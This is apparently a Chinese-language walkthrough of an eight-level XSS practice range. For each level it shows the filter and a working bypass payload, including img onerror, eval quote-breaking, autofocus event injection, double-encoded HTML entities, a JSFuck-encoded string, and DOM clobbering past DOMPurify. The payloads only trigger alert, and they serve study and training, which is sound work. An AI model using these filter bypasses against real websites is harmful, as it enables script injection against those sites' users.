一、环境
XSS靶场
二、闯关
1、第一关
先看源码
使用DOM型,获取h2标签,使用innerHTML将内容插入到h2中
我们直接插入<script>标签试一下
明显插入到h2标签中了,为什么不显示呢?看一下官方文档
尽管插入进去了,但他并不会执行
那我们就改其他标签试试
?somebody=<img%20src=1%20onerror="alert(1337)">
防御:可以使用innerText进行防御,这样插入的话只插入文本,不会插入标签
2、第二关
源码:
setTimeout进过1秒后执行ma的命令,这块使用innerText,那么我们的标签就没法发插入进去了
但我们可以看到ecal(),这个函数可以将我们的字符串当做命令进行执行
那么我们只需要闭合前面的双引号,后面再加上我们所要执行的命令,试一下
?jeff=";alert(1337)//
//注释掉后面的"
第二种方法:
?jeff="-alert(1337)-"
因为在html中-号是分隔符,跟第一种区别不大但是是一种新的做法
3、第三关
源码:
有过滤函数,将我们的"<>"符号过滤,不能加入新的标签
这个我们可以先将placeholder的双引号进行闭合,然后在写上我们的触发事件
?wey="onclick="alert(1337)
虽然我们成功的触发了,但是我们也违反了题意,禁止用户参与
那么我们可以使用onfocus获取焦点,再利用autofocus自动获取焦点
?wey="onfocus="alert(1337)"%20autofocus="
4、第四关
源码:
技巧:这一关是将get获取的参数,添加到form表单的action里,action属性里面可以直接执行javascript伪协议
5、第五关
源码:
这关又有过滤函数,并且过滤了我们的“()`\”
会将这些符号转化为空
同样这里也用到了innerHTML,那么我们也不能直接用<script>
不妨试一下用img的报错实现,因为我们的括号被过滤,那么我们可以试下使用实体编码进行绕过
?markassbrownlee=<img%20src=1%20onerror=alert(1337)>
在h2这并没有找到我们插入的标签,这是为什么呢?明明也没有过滤我们的img标签啊
其实是因为url在传参时,会将我们的特殊符号进行解码,但我们传递的是html的实体编码,所以问题出现在了这里,那么我们再讲实体编码再进行次url编码
?markassbrownlee=<img%20src=1%20onerror=alert%26%2340%3B1337%26%2341%3B>
6、第六关
源码:
这一关又出现了过滤,将我们的大小写字母和数字进行了过滤
那我们该怎么办呢?毕竟我们传参的时候肯定是有字母的
解决办法:
利用框架绕过:https://jsfuck.com/
因为+在url传参时,会解码为空格,所以我们要对这些符号再次编码
?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B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%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29
成功执行
7、第七关
源码:
这关相较于上关限制了我们传参的长度,截取0-50,很明显上一关的方法就不行了
代码漏洞,他过滤了符号和alert函数,但是没有过滤confirm
函数
?mafia=confirm(1)
但很明显,这一题的考察点不在这里
我看了官方给出的3个答案
首先第一个答案
Function(/ALERT(1337)/.source.toLowerCase())()
这是先创建了一个构造函数,将ALERT(1337)通过source获取源码,然后将其转为小写
这样就绕过了上面的3个过滤,在eval里面执行命令
第二个答案
eval(8680439..toString(30))(1337)
这个8680439是什么呢,其实就是我们的alert使用parseint函数转换成了30进制的一个整数
然后我们使用toString函数将30进制的数重新转换成我们的alert字符串
这样我们的alert就绕过了题目的
那为什么是30是禁止呢?其实是因为t刚好是字母的20位,加上0-9这十个数字,刚好就是30位了,
第三个答案
eval(location.hash.slice(1))
我们可以看到,location.hash,取到的是url里#后的值,slice函数是分片,可以将#后面的提取到
那么#后面写上alert(1337),前面加上eval(location.hash.slice(1))就可以了
?mafia=eval(location.hash.slice(1))#alert(1337)
8、第八关
源码:
DOMPurify防御用户输入框架,会把你的危险属性过滤完了
突破口
setTimeout(ok, 2000)
这里使用一个dom clobbering称之为dom破坏技术
<a id=ok href=tel:alert(1337)>#作者提供的答案